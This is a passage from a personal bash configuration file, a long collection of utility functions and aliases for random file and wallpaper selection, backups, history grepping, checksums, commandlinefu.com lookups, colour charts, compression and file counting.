		tput sgr0
	    ;;
	    *)
		if [[ ! "$FILES" ]]; then
		    files=(*)
		else	files=("$FILES")
		fi
		n=${#files[@]}
		RANDOMFILE="${files[RANDOM % n]}"
		echo "$RANDOMFILE" >> $HOME/.randomhistory
		if [[ ! "$@" ]]; then
		    echo "$RANDOMFILE"
		else	"$@" "$RANDOMFILE"
		fi
	    ;;
    esac
}

###### pulls a random line from text file
function randomline()
{
	# AUTHOR: David Ivan Stark (clyphox), [email protected]
	if [ "$1" ];then  #checking if we were passed a filename/variable
		FileName="$1"  #just an easier variable to work with
		if [ ! -f "$FileName" ];then  #check if it is a file
		    echo "Err: $FileName is not a file"
		fi
		#Count how many lines in the file
		LineCount="$(wc -l "$FileName" | cut -f 1 -d ' ')"
		#Dont continue if we have less than 1 line
		if [ "$LineCount" -gt "1" ];then
			#Test past.. selecting random line
			TargetLine=$[ ( $RANDOM % $LineCount )  + 1 ]
			Output="$(sed -n "${TargetLine}p" "$FileName")"
			echo "$Output"
		    else
			echo need a file with more than 1 line... cmon...
		fi
	    else	#seems we didnt get any input
		echo "Please specify a text file"
	fi
}

###### Generates neverending list of random numbers
function randomnumbers()
{
	while :
	do
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	 echo $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM
	done
}

###### Random wallpaper (add whatever wallpaper directory(s) you wish after 'BACKGROUND_DIRS')
# function randomwp()
	# # for GNOME2
	# {
	# cat > "/tmp/randomwp.py" <<"End-of-message"
	# #!/usr/bin/env python
	# BACKGROUND_DIRS = ['/usr/share/backgrounds', '~/Pictures/Backgrounds']
	# EXTENSIONS = ['jpeg', 'jpg', 'bmp', 'png', 'svg']
	# import os, glob, random, itertools, gconf
	# files = list(itertools.chain(*[[os.path.join(dirpath, name)
	#                                 for name in filenames]
	#                                for dirpath, dirnames, filenames in
	#                                itertools.chain(*[os.walk(os.path.expanduser(d))
	#                                                  for d in BACKGROUND_DIRS])]))
	# gconf.client_get_default().set_string(
	#     '/desktop/gnome/background/picture_filename',
	#     random.choice(files))
	# End-of-message
	# chmod +x "/tmp/randomwp.py"
	# "/tmp/randomwp.py"
	# /bin/rm "/tmp/randomwp.py"
# }

###### Random-Gnome3-Wallpaper.sh - for GNOME3 Script to randomly set desktop/gdm background - Requires: sudo-apt get install randomize-lines
function randomwp()
{
	###### just add/remove as many directories as wish
	find "/usr/share/backgrounds" "$HOME/Pictures/Backgrounds" -type f \( -name "*.bmp" -or -name "*.BMP" -or -name "*.jpeg" -or -name "*.JPEG" -or -name "*.jpg" -or -name "*.JPG" -or -name "*.png" -or -name "*.PNG" -or -name "*.svg" -or -name "*.SVG" \)|rl|head -n 1|xargs -I{} bash -c "gsettings set org.gnome.desktop.background picture-uri \"file://{}\""
}

###### Random-Gnome3-Wallpaper-2.sh - Script to randomly set desktop/gdm background
function randomwp_()
{
	###### Directories Containing Pictures (to add more folders here, just "/path/to/your/folder")
	arr[0]="/usr/share/backgrounds"
	arr[1]="$HOME/Pictures/Backgrounds"
	# arr[2]=
	# arr[3]=
	# arr[4]=
	# arr[5]=
	# arr[6]=
	# arr[7]=
	# arr[8]=
	# arr[9]=
	# arr[10]=
	###### How many picture folders are there? (currently = 2)
	rand=$[ $RANDOM % 2 ]
	###### Command to select a random folder
	DIR=`echo ${arr[$rand]}`
	###### Command to select a random file from directory
	# The *.* should select only files (ideally, pictures, if that's all that's inside)
	PIC=$(ls $DIR/*.* | shuf -n1)
	###### Command to set background Image
	gsettings set org.gnome.desktop.background picture-uri "file://$PIC"
}

###### randomwpt automatic wallpaper switcher for GNOME2 - Usage: randomwpt "bash directory_name" "timeout_in_seconds" - for GNOME2 only
function randomwpt()
{
	if [ $# -ne 2 ];then
	    echo -n "Usage: $0 directory_name timeout_in_seconds
	    Leave the directory name blank for Current Directory
	    For you lazy pal, I assume timeout as 5 sec and Directory as current
	    Do you want to accept this settings? (Y/n): ";
	    read response
	    if [[ "$response" =~ ^[^yY] ]];then
		exit 0
	    fi
	fi
	function set_wallpaper() {
	    gconftool-2 -s /desktop/gnome/background/picture_options "centered" -t string;
	    gconftool-2 -s /desktop/gnome/background/picture_filename "$1" -t string;
	}
	TIMEOUT=${2-5};
	WALL_DIR=${1-`pwd`};
	echo "Timeout value is: $TIMEOUT";
	echo "Directory is: $WALL_DIR";
	echo
	if [ ! -d "$WALL_DIR" ];then
	    echo "The Directory Specified is invalid..";
	    exit 1;
	fi
	filelst="$(find "$WALL_DIR" -type f -name '*.jpg' -o -name '*.png')";
	if [ -z "$filelst" ];then
	    echo "No Suitable files found in this location: $WALL_DIR";
	    exit 1;
	fi
	while true;do
	    filename=`echo "$filelst" | shuf -n 1`
	    set_wallpaper "$filename";
	    sleep $TIMEOUT;
	done
}

###### rename a file with a random name The function will rename files but maintain their extensions. BUG: If a file doesn't have an extension it will end up with a dot at the end of the name. The parameter '8' for pwgen controls the length of filenames - eight random characters.
function rf() { for i in "$@"; do mv "$i" "$(pwgen 8 1).${i##*.}"; done }

###### roll a single die 1000 times and show results
function roll-die()
{
	SEED=$"(head -1 /dev/urandom | od -N 1 | awk '{ print $2 }')"
	RANDOM=$SEED
	PIPS=6          	# A die has 6 pips.
	MAXTHROWS=1000   	# Increase this if you have nothing better to do with your time.
	throw=0         	# Throw count.
	ones=0          	#  Must initialize counts to zero,
	twos=0          	#+ since an uninitialized variable is null, not zero.
	threes=0
	fours=0
	fives=0
	sixes=0
	function print_result()
	{
		echo
		echo "ones =   $ones"
		echo "twos =   $twos"
		echo "threes = $threes"
		echo "fours =  $fours"
		echo "fives =  $fives"
		echo "sixes =  $sixes"
		echo
	}
	function update_count()
	{
		case "$1" in
		  0) let "ones += 1";;   # Since die has no "zero", this corresponds to 1.
		  1) let "twos += 1";;   # And this to 2, etc.
		  2) let "threes += 1";;
		  3) let "fours += 1";;
		  4) let "fives += 1";;
		  5) let "sixes += 1";;
		esac
	}
	echo
	while [ "$throw" -lt "$MAXTHROWS" ]
	do
	  let "die1 = RANDOM % $PIPS"
	  update_count $die1
	  let "throw += 1"
	done
	print_result
	echo "Out of a total of "$MAXTHROWS" rolls."
	echo "Change \"MAXTHROWS=1000\" if you want a different number of rolls."
}

###### Backup a file with a date-time stamp - Usage "bu filename.txt"
function bu() { cp $1 ${1}-`date +%Y%m%d%H%M`.backup ; }

###### buf Backup a file with a date-time stamp
function buf() { cp -v $1 ${1/${1%%.*}/$f-$(date +"%Y%m%d_%H%M%S")}; }

###### Extract a file and cd into the new folder	
function build()
{
   extract "$1" && cd
}

###### Needs fixing
function build_() {
	args=($@)
	args[0]=
	reset
	tcc -o $1 ${1}.c ${args[@]}
	if [ $? -eq 0 ]; then
	./$1;
	fi
}

###### Buffer in order to avoir mistakes with redirections that empty your files
function buffer() { tty -s && return; tmp=$(mktemp); cat > "${tmp}"; if [ -n "$1" ] && ( ( [ -f "$1" ] && [ -w "$1" ] ) || ( ! [ -a "$1" ] && [ -w "$(dirname "$1")" ] ) ); then mv -f "${tmp}" "$1"; else echo "Can't write in \"$1\""; rm -f "${tmp}"; fi }

###### Generate a case-insensitive pattern
function casepat() { perl -pe 's/([a-zA-Z])/sprintf("[%s%s]",uc($1),$1)/ge' ; }

###### Concatenate PDF files - e.g. cat_pdfs -o combined.pdf file1.pdf file2.pdf file3.pdf
function cat_pdfs() { python '/System/Library/Automator/Combine PDF Pages.action/Contents/Resources/join.py' "$@" ; }

# Copy & paste files and folders from the command line
#------------------------------------------////

###### Usage: "ccopy FILE/FOLDER#1 FILE/FOLDER#2 FILE/FOLDER#3 FILE/FOLDER#4 ..." Note: You must 'cd' into the folder first ("whatever" works, while "~/myfolder/whatever" doesn't)
function ccopy() { for i in $*; do cp -a $i /tmp/ccopy.$i; done }
alias cpaste="ls -d /tmp/ccopy* | sed 's|[^\.]*.\.||' | xargs -I % mv /tmp/ccopy.% ./%"

# Power cd (add some of useful features to 'cd') #
#------------------------------------------////

###### Move efficiently between directories. - This command adds a couple of extra features to cd, without affecting normal use. CDPATH use is also unaffected. It introduces and environment variable CDDIR which is used as an alternate home directory. `export CDDIR="$HOME/work"` and `alias cdd="CDDIR=$(pwd)"` must also be uncommented/enabled for this to work
function cd() { if [ -n "$1" ]; then [ -f "$1" ] && set -- "${1%/*}"; else [ -n "$CDDIR" ] && set -- "$CDDIR"; fi; command cd "$@"; }

alias cdd="CDDIR=$(pwd)"

###### Print working directory after a cd.
# function cd() {
#     if [[ $@ == '-' ]]; then
#         builtin cd "$@" > /dev/null  # We'll handle pwd.
#     else
#         builtin cd "$@"
#     fi
#     echo -e "   \033[1;30m"`pwd`"\033[0m"
# }

###### # Change directory and list files
function cds() {
    # only change directory if a directory is specified
    [ -n "${1}" ] && cd $1
    lls
}

# Grep, grep, grep				 #
#------------------------------------------////

###### randomize GNU grep's colors 31-36 excluding black and white.
function cgrep() { GREP_COLOR="1;3$((RANDOM%6+1))" grep --color=always "$@" ; }

###### to grep through files found by find, e.g. grepf pattern '*.c' - note that 'grep -r pattern dir_name' is an alternative if want all files
function grepfind() { find . -type f -name "$2" -print0 | xargs -0 grep "$1" ; }

###### to grep through the /usr/include directory
function grepincl() { (cd /usr/include; find . -type f -name '*.h' -print0 | xargs -0 grep "$1" ) ; }

###### hgrep, hgrepl (I use these so much I miss them not being on my other machines and should copy them over)
function hgrepl() {
	history | sed s/.*\ \ // | grep $@
}

###### hgrep
function hgrep() {
	history | sed s/.*\ \ // | grep $@ | tail -n 30
}

###### hhgrep
function hhgrep() {
	history | egrep "$@" | egrep -v "hgrep $@"
}

###### Analyze your bash usage
function check_()
{
	cut -f1 -d" " .bash_history | sort | uniq -c | sort -nr | head -n 30
}

####### Checksum
function checksum()
{
    action=$1
    shift
    if [[ ( $action == "-c" || $action == "--check" ) && $1 == *.* ]]; then
	type="${1/*./}"
    else	type=$1
	shift
    fi
    case $type in
	md5 )
	    checktool=md5sum
	;;
	sha1 | sha )
	    checktool=sha1sum
	;;
	sha224 )
	    checktool=sha224sum
	;;
	sha256 )
	    checktool=sha256sum
	;;
	sha384 )
	    checktool=sha384sum
	;;
	sha512 )
	    checktool=sha512sum
	;;
    esac
    case $action in
	-g | --generate )
	    for file in "${@}"; do
		$checktool "${file}" > "${file}".$type
	    done
	;;
	-c | --check )
	    for file in "${@}"; do
		if [[ "${file}" == *.$type ]]; then
		    $checktool --check "${file}"
		else	$checktool --check "${file}".$type
		fi
	    done
	;;
	-h | --help )
	;;
    esac
}

###### MD5 checksum
function md5()
{
    echo -n $@ | md5sum
}

###### Encode a string in md5 hash of 32 characters
# You can short the length with the second parameter.
#  @param string $1 string (required)
#  @param integer $2 length (option, default: 32)
#  @return string
#  @example:    md5 "Hello World" 8
function md5_() {
      local length=${2:-32}
      local string=$( echo "$1" | md5sum | awk '{ print $1 }' )
      echo ${string:0:${length}}
}

###### cifsmount Mount CIFS shares; pseudoreplacement for smbmount -  $1 = remote share name in form of //server/share $2 = local mount point
function cifsmount() { sudo mount -t cifs -o username=${USER},uid=${UID},gid=${GROUPS} $1 $2; }

###### cifsumount unmount CIFS shares; pseudoreplacement for smbmount 
function cifsumount() { sudo umount $1; }

# Commandlinefu.com and Shell-fu.org stuff	 #
#------------------------------------------////

###### Search commandlinefu.com from the command line- using the API - Usage: cmdfu hello world
function cmdfu() { curl "http://www.commandlinefu.com/commands/matching/$@/$(echo -n $@ | openssl base64)/plaintext" --silent | sed "s/\(^#.*\)/\x1b[32m\1\x1b[0m/g" | less -R ; }

###### cmdfu
# function cmdfu() { curl "http://www.commandlinefu.com/commands/matching/$@/$(echo -n $@ | openssl base64)/plaintext"; }

###### automatically downloads all commands from http://www.commandlinefu.com into a single text file
alias cmdfu_dl='mkdir /tmp/commandlinefu && cd /tmp/commandlinefu && curl -O http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-2400:25] && ls -1 | sort -n | while read mork ; do cat $mork >> commandlinefu.txt ; ls -ald $mork; done && mv commandlinefu.txt $HOME && rm -rf /tmp/commandlinefu'

###### find a CommandlineFu users average command rating
function cmdfu_rating()
{
	wget -qO- www.commandlinefu.com/commands/by/PhillipNordwall | awk -F\> '/class="num-votes"/{S+=$2; I++}END{print S/I}'
}

###### cmdfu_rating_
function cmdfu_rating_()
{
	curl -s www.commandlinefu.com/commands/by/PhillipNordwall | awk -F\> '/class="num-votes"/{S+=$2; I++}END{print S/I}'
}

##### key binding to search commandlinefu.com
function ds_() { echo -n "search : "; read ST; EST=`php -r "echo rawurlencode('$ST');"`; B64=`echo -n $ST| openssl enc -base64`; curl -s "http://www.commandlinefu.com/commands/matching/$EST/$B64/plaintext" | less -p "$ST"; } ; bind '"\C-k"':"\"ds\C-m\""

###### command examples from shell-fu
function examples() { 
	lynx -width=$COLUMNS -nonumbers -dump "http://www.shell-fu.org/lister.php?tag=$1" | \
	sed -n '/^[a-zA-Z]/,$p' | egrep -v '^http|^javas|View Comm|HIDE|] \+|to Share|^ +\*|^ +[HV][a-z]* l|^ .*efu.*ep.*!$' | \
	sed -e '/^  *__*/N;s/\n$//g' | less -r; 
}

###### fuman, an alternative to the 'man' command that shows commandlinefu.com examples
function fuman() { 
	lynx -width=$COLUMNS -nonumbers -dump "http://www.commandlinefu.com/commands/using/$1" |sed '/Add to favourites/,/This is sample output/!d' |sed 's/ *Add to favourites/----/' |less -r; 
}

###### Random Commandlinefu command
function fur() { curl -sL 'http://www.commandlinefu.com/commands/random/plaintext' | grep -v "^# commandlinefu" ; }

###### Prepare a commandlinefu command
function goclf()
{
	type "$1" | sed '1d' | tr -d "\n" | tr -s '[:space:]'; echo
}

###### What package does that command come from?
function cmdpkg() { PACKAGE=$(dpkg -S $(which $1) | cut -d':' -f1); echo "[${PACKAGE}]"; dpkg -s "${PACKAGE}" ;}

# Sets custom Catalog Number ID3 tag for all	MP3 files in current directory
#------------------------------------------////

###### $1 = catalog number
function cn() { for i in *.mp3; do id3v2 --TXXX "Catalog Number":"$1" "$i"; done; }

# Quick reference color charts & color stuff 	 #
#------------------------------------------////

###### shows a gui color chart
#function color-picker()
#{
#	# for GNOME2 only - sudo apt-get install python-gtkmozembed xulrunner-2.0 
#    # (Packete gibt es nicht mehr)
#	# also requires: "~/.gnome2/nemo-scripts/.colorchart/view.html"
#	echo "When you are finished, press "Control C" to continue..."
#cat > "/tmp/color-picker.py" <<"End-of-message"
##!/usr/bin/python
#import os
#import pygtk
#pygtk.require('2.0')
#import gtk
#import gtkmozembed
#homedir = os.path.expanduser('~')
#try:
#    from win32com.shell import shellcon, shell
#    homedir = shell.SHGetFolderPath(0, shellcon.CSIDL_APPDATA, 0, 0)
#except ImportError:
#    homedir = os.path.expanduser("~/.gnome2/nemo-scripts/.colorchart/view.html")
#class ColorChart:
#    def __init__(self):
#                self.moz = gtkmozembed.MozEmbed()
#	box = gtk.VBox(False,0)
#	win = gtk.Window()
#	win.add(box)
#	hbox = gtk.HBox(False,0)
#               box.pack_start(hbox,False,False)
#                hbox.show()
#	box.pack_start(self.moz,True,True,0)
#                self.moz.show()
#	self.moz.load_url(homedir)
#                self.moz.set_size_request(650,550)
#	title=self.moz.get_title()
#	win.set_title("RGB/HEX Color Picker")
#	win.show_all()
#if __name__ == "__main__":
#    ColorChart()
#    gtk.main()
#End-of-message
#	chmod +x "/tmp/color-picker-.py"
#	/usr/bin/python "/tmp/color-picker.py"
#	/bin/rm "/tmp/color-picker.py"
#}

###### takes a name of a color and some text and then echoes out the text in the named color - Usage:	colorize_text "color" "whatever text"
function colorize-text()
{
	b='[0;30m'
	# Implement command-line options
	while getopts "nr" opt
	 do
	  case $opt in
	   n  )  o='-n' ;;
	   r  )  b=''   ;;
	  esac
	 done
	shift $(($OPTIND - 1))
	# Set variables
	col=$1
	shift
	text="$*"
	# Set a to console color code
	case $col in
	 'black'  ) a='[0;30m' ;;
	 'blue'   ) a='[0;34m' ;;
	 'green'  ) a='[0;32m' ;;
	 'cyan'   ) a='[0;36m' ;;
	 'red'    ) a='[0;31m' ;;
	 'purple' ) a='[0;35m' ;;
	 'brown'  ) a='[0;33m' ;;
	 'ltgray' ) a='[0;37m' ;;
	 'white'  ) a='[1;30m' ;;
	 'ltblue' ) a='[1;34m' ;;
	 'ltgreen') a='[1;32m' ;;
	 'ltcyan' ) a='[1;36m' ;;
	 'ltred'  ) a='[1;31m' ;;
	 'pink'   ) a='[1;35m' ;;
	 'yellow' ) a='[1;33m' ;;
	 'gray'   ) a='[1;37m' ;;
	esac
	# Display text in designated color, no newline
	echo -en "\033$a$text"
	# If 'b' switch not on, restore color to black
	if [ -n $b ]
	 then
	  echo -en "\033$b"
	fi
	# If 'n' switch on, do not display final newline
	# otherwise output newline
	echo $o
}

###### shows the colors in a kewl way...partially stolen from HH
function colors()
{
       # Display ANSI colours.
    esc="\033["
    echo -e "\t  40\t   41\t   42\t    43\t      44       45\t46\t 47"
    for fore in 30 31 32 33 34 35 36 37; do
        line1="$fore  "
        line2="    "
        for back in 40 41 42 43 44 45 46 47; do
            line1="${line1}${esc}${back};${fore}m Normal  ${esc}0m"
            line2="${line2}${esc}${back};${fore};1m Bold    ${esc}0m"
        done
        echo -e "$line1\n$line2"
    done
    echo ""
    echo "# Example:"
    echo "#"
    echo "# Type a Blinkin TJEENARE in Swedens colours (Yellow on Blue)"
    echo "#"
    echo "#           ESC"
    echo "#            |  CD"
    echo "#            |  | CD2"
    echo "#            |  | | FG"
    echo "#            |  | | |  BG + m"
    echo "#            |  | | |  |         END-CD"
    echo "#            |  | | |  |            |"
    echo "# echo -e '\033[1;5;33;44mTJEENARE\033[0m'"
    echo "#"
    echo "# Sedika Signing off for now ;->"
}

###### displays all 256 possible background colors, using ANSI escape sequences. - used in ABS Guide with permission.
function colors2()
{
	T1=8
	T2=6
	T3=36
	offset=0
	for num1 in {0..7}
	do {
	   for num2 in {0,1}
		  do {
			shownum=`echo "$offset + $T1 * ${num2} + $num1" | bc`
			echo -en "\E[0;48;5;${shownum}m color ${shownum} \E[0m"
			}
		  done
	   echo
	   }
	done
	offset=16
	for num1 in {0..5}
	do {
	   for num2 in {0..5}
		  do {
			for num3 in {0..5}
			    do {
				  shownum=`echo "$offset + $T2 * ${num3} \
				  + $num2 + $T3 * ${num1}" | bc`
				  echo -en "\E[0;48;5;${shownum}m color ${shownum} \E[0m"
				  }
				done
			echo
			}
		  done
	}
	done
	offset=232
	for num1 in {0..23}
	do {
	   shownum=`expr $offset + $num1`
	   echo -en "\E[0;48;5;${shownum}m ${shownum}\E[0m"
	}
	done
	echo
}

###### print all 256 colors for testing TERM or for a quick reference - show numerical values for each of the 256 colors in bash
function colors2nums()
{
	for code in {0..255}; do echo -e "\e[38;05;${code}m $code: Test"; done
}

###### replaces a color in PDF document (useful for removing dark background for printing) - usage:	remove_color input.pdf output.pdf
function uncolorpdf()
{
convert -density 300 "$1" -fill "rgb(255,255,255)" -opaque "rgb(0,0,0)" "$2"
}

####### View daily comics (set on Viewnior as image - viewer...can use 'eog' or whatever instead)
function comics() {
    # xkcd
    XKCD_FILE="/tmp/xkcd"
    wget -q $(curl -s http://xkcd.com/ | sed -n 's/<h3>Image URL.*: \(.*\)<\/h3>/\1/p') -O $XKCD_FILE
    # Geek and Poke
    GAP_FILE="/tmp/geekandpoke"
    wget -q $(lynx --dump 'http://geekandpoke.typepad.com/' | grep '\/.a\/' | grep '\-pi' | head -n 1 | awk '{print $2}') -O $GAP_FILE
    viewnior $XKCD_FILE
    viewnior $GAP_FILE
}

###### Run a command until a specified time - Example: command-timer 04:00
function command-timer() { echo "notify-send TimeToQuit" | at "$@" ; }

###### Run a program on a timer - Example: program-timer 20 viewnior arg1
function program-timer() { perl -e 'alarm shift; exec @ARGV' "$@" & exit; }

####### Computer the speed of two commands
function comp() { # compare the speed of two commands (loop $1 times)
  if [[ $# -ne 3 ]] ; then return 1 ; fi
  echo -n 1
  time for ((i=0;i<$1;i++)) ; do $2 ; done >/dev/null 2>&1
  echo -n 2
  time for ((i=0;i<$1;i++)) ; do $3 ; done >/dev/null 2>&1
}

# Remove text from file1 which is in file2 and store it in an other file			 #
#------------------------------------------////

###### handy if you have file where file1 was the original and you want to remove the original data from your file2 - usage: grep -Fvf nameofinputfile1 nameofinputfile2 > nameofoutputfile
function comparenclean() { grep -Fvf $1 $2 > $3 ; }

###### save lines unique to file2 - if both file1 and file2 are already sorted: comm -13 nameofinputfile1 nameofinputfile2 > nameofoutputfile
function comparenclean_() { comm -13 <(sort $1) <(sort $2) > $3 ; }

####### Compress stuff
function compress_() {
   # Credit goes to: Daenyth
   FILE=$1
   shift
   case $FILE in
      *.tar.bz2) tar cjf $FILE $*  ;;
      *.tar.gz)  tar czf $FILE $*  ;;
      *.tgz)     tar czf $FILE $*  ;;
      *.zip)     zip $FILE $*      ;;
      *.rar)     rar $FILE $*      ;;
      *)         echo "Filetype not recognized" ;;
   esac
}

####### Sets the compression level for file-roller
function compression_level()
{
	echo -n "Please enter the number for the compression level desired:

	(1) very_fast
	(2) fast
	(3) normal
	(4) maximum

	Press 'Enter' for default (default is '3')...

	"
	read COMPRESSION_LEVEL_NUMBER
	# extra blank space
	echo "
	"
	# default
	if [[ -z $COMPRESSION_LEVEL_NUMBER ]] ; then
	# If no COMPRESSION_LEVEL passed, default to '3'
	    COMPRESSION_LEVEL=normal
	fi
	# preset
	if [[ $COMPRESSION_LEVEL_NUMBER = 1 ]] ; then
	    COMPRESSION_LEVEL=very_fast
	fi
	if [[ $COMPRESSION_LEVEL_NUMBER = 2 ]] ; then
	    COMPRESSION_LEVEL=fast
	fi
	if [[ $COMPRESSION_LEVEL_NUMBER = 3 ]] ; then
	    COMPRESSION_LEVEL=normal
	fi
	if [[ $COMPRESSION_LEVEL_NUMBER = 4 ]] ; then
	    COMPRESSION_LEVEL=maximum
	fi

	gconftool-2 --set /apps/file-roller/general/compression_level --type string "$COMPRESSION_LEVEL"
}

####### Convert to avi
function conv2avi() {
    
    if [[ $(which mencoder-mt) != "" ]]; then
    mencoder-mt "$1" -lavdopts threads=8 \
      -ovc xvid -xvidencopts fixed_quant=4 -of avi \
      -oac mp3lame -lameopts vbr=3 \
      -o "$1".avi
    else
    mencoder "$1" -lavdopts \
      -ovc xvid -xvidencopts fixed_quant=4 -of avi \
      -oac mp3lame -lameopts vbr=3 \
      -o "$1".avi
    fi
}

####### Get name of app that created a corefile
function corename()
{
    for file ; do
        echo -n $file : ; gdb --core=$file --batch | head -1
    done
}

######## Count opening and closing braces in a string
function countbraces() { COUNT_OPENING=$(echo $1 | grep -o "(" | wc -l); COUNT_CLOSING=$(echo $1 | grep -o ")" | wc -l); echo Opening: $COUNT_OPENING; echo Closing: $COUNT_CLOSING; }

######## Count files in current directory
function count_files()
{
    case $1 in
	*+h)
	    echo $(($(ls --color=no -1 -la . | grep -v ^l | wc -l)-1))
	;;
	*-h)
	    echo $(($(ls --color=no -1 -l . | grep -v ^l | wc -l)-1))
	;;
	*+d)
	    echo $(($(ls --color=no -1 -la . | grep -v ^- | wc -l)-1))
	;;
	*-d)
	    echo $(($(ls --color=no -1 -l . | grep -v ^- | wc -l)-1))
	;;
	*+f)
	    echo $(($(ls --color=no -1 -la . | grep -v ^d | wc -l)-1))
	;;
	*-f)
	    echo $(($(ls --color=no -1 -l . | grep -v ^d | wc -l)-1))
	;;
	*)
	    echo -e "\n${ewhite}Usage:"
	    echo -e "\n${eorange}count_files${ewhite} | ${egreen}+h ${eiceblue}[count files and folders - include hidden ones] \
	    \n${eorange}count_files${ewhite} | ${egreen}-h ${eiceblue}[count files and folders - exclude hidden ones] \
	    \n${eorange}count_files${ewhite} | ${egreen}+d ${eiceblue}[count folders - include hidden ones] \
	    \n${eorange}count_files${ewhite} | ${egreen}-d ${eiceblue}[count folders - exclude hidden ones] \
	    \n${eorange}count_files${ewhite} | ${egreen}+f ${eiceblue}[count files - include hidden ones] \
	    \n${eorange}count_files${ewhite} | ${egreen}-f ${eiceblue}[count files - exclude hidden ones]\n"
	    tput sgr0
	;;
    esac
}

######## Count files by extension
function count_files_by_ext() { find . -type f | sed -n 's/..*\.//p' | sort -f | uniq -ic ; }

######## Count processes that are running
function count_processes()

{
    case $1 in
	*help )
	    echo -e "\n${ewhite}Usage:"
	    echo -e "\n${eorange}count_processes${ewhite} | ${egreen}! no options !\n"
	    tput sgr0
	;;
	* )
	    procs=$(ps ax | wc -l | awk '{print $1}')
	    if [[ $procs -lt 10 ]]; then
		echo "000$procs"
	    elif [[ $procs -lt 100 ]]; then
		echo "00$procs"
	    elif [[ $procs -lt 1000 ]]; then
		echo "0$procs"
	    fi
	;;
    esac
}

# Copies currently played song in Audacious to selected directory
function cp_mp3_to() { PID=`pidof audacious2`; FILEPATH=`lsof -p $PID| grep mp3| sed s/[^\/]*//`; cp "$FILEPATH" "$1"; }

######## Cp with progress bar (using pv)
function cp_p() {
    if [ `echo "$2" | grep ".*\/$"` ]
    then
	pv "$1" > "$2""$1"
    else
	pv "$1" > "$2"/"$1"
    fi
}

######## Create User List usage: create_user_list
function create_user_list()
{
    local users u
    while IFS=: read -r u _; do
        users+=("$u")
    done
    printf '%s\n' "${users[@]:1}"
}

######### Print a cron formatted time for 2 minutes in - the future (for crontab testing)
function crontest() { date '-d +2 minutes' +'%M %k %d %m *'; }

# Encryption / decryption			 #
#------------------------------------------////

###### do twice to decrypt
function crypt() {
    if [[ -e "$1" ]]; then
	tr a-zA-Z n-za-mN-ZA-M < "$1" > "$1".crypt
	rm -f "$1"
	mv "$1".crypt "$1"
    fi
}

###### basic encrypt / decrypt - example: "encry filename" or "decry filename"
function encry()
{
